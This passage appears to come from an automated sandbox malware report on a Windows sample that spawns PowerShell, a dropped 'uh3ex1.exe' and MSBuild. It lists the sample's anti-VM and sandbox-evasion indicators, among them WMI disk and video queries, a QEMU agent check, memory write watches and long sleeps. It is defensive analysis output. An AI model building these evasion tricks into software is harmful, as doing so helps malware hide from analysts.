Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: Process Memory Space: uh3ex1.exe PID: 8092, type: MEMORYSTR
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: \QEMU-GA.EXE
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Memory allocated: 18F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Memory allocated: 3330000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Memory allocated: 18F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Memory allocated: FC0000 memory reserve | memory write watch Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Memory allocated: 2A70000 memory reserve | memory write watch Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Memory allocated: 4A70000 memory reserve | memory write watch Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Memory allocated: 5090000 memory reserve | memory write watch Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Memory allocated: 6090000 memory reserve | memory write watch Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Memory allocated: 61C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Memory allocated: 71C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Memory allocated: 7550000 memory reserve | memory write watch Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Memory allocated: 8550000 memory reserve | memory write watch Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Memory allocated: 9550000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Memory allocated: 14D0000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Memory allocated: 2E70000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Memory allocated: 4E70000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 599891 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 599766 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 599656 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 599547 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 599438 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 599313 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 599188 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 599078 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 598969 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 598844 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 598735 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 598610 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 598485 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 598360 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 598235 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 598110 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 597985 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 597567 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 597438 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 597293 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
